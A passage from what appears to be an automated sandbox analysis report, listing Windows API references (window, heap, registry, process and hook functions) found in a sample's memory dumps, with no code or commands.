reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsBadWritePtr"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsBadReadPtr"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsBadCodePtr"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DrawIcon"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "AppendMenuA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsIconic"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadIconA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "PostMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetWindowsHookExA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCursorPos"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CallNextHookEx"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CheckMenuItem"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetMenuItemBitmaps"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ModifyMenuA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMenuState"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadBitmapA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMenuCheckMarkDimensions"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MapDialogRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindowPlacement"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IntersectRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "OffsetRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegisterWindowMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetForegroundWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMessageTime"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RemovePropA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetPropA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "UnhookWindowsHookEx"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetPropA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetSubMenu"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMenuItemCount"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMenu"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetClassInfoA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "WinHelpA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetCapture"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsChild"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetTopWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CopyRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MapWindowPoints"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "UpdateWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "IsDialogMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MoveWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ClientToScreen"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetWindowDC"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TabbedTextOutA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DrawTextA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GrayStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DestroyMenu"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetClassNameA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "PtInRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetSysColorBrush"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CopyAcceleratorTableA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "InflateRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegisterClipboardFormatA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "PostThreadMessageA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetObjectA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "SetMapMode"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CreateSolidBrush"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "TextOutA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ExtTextOutA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetTextColor"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetBkColor"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DPtoLP"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetMapMode"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CLSIDFromString"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CoGetClassObject"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "GetProfileStringA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DrawFocusRect"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "ShowCaret"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "HideCaret"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "UnregisterClassA"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00002996.00000000.68546.00433000.00000004.mdmp, 00000000-00002996.00000001.69499.00433000.00000004.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: 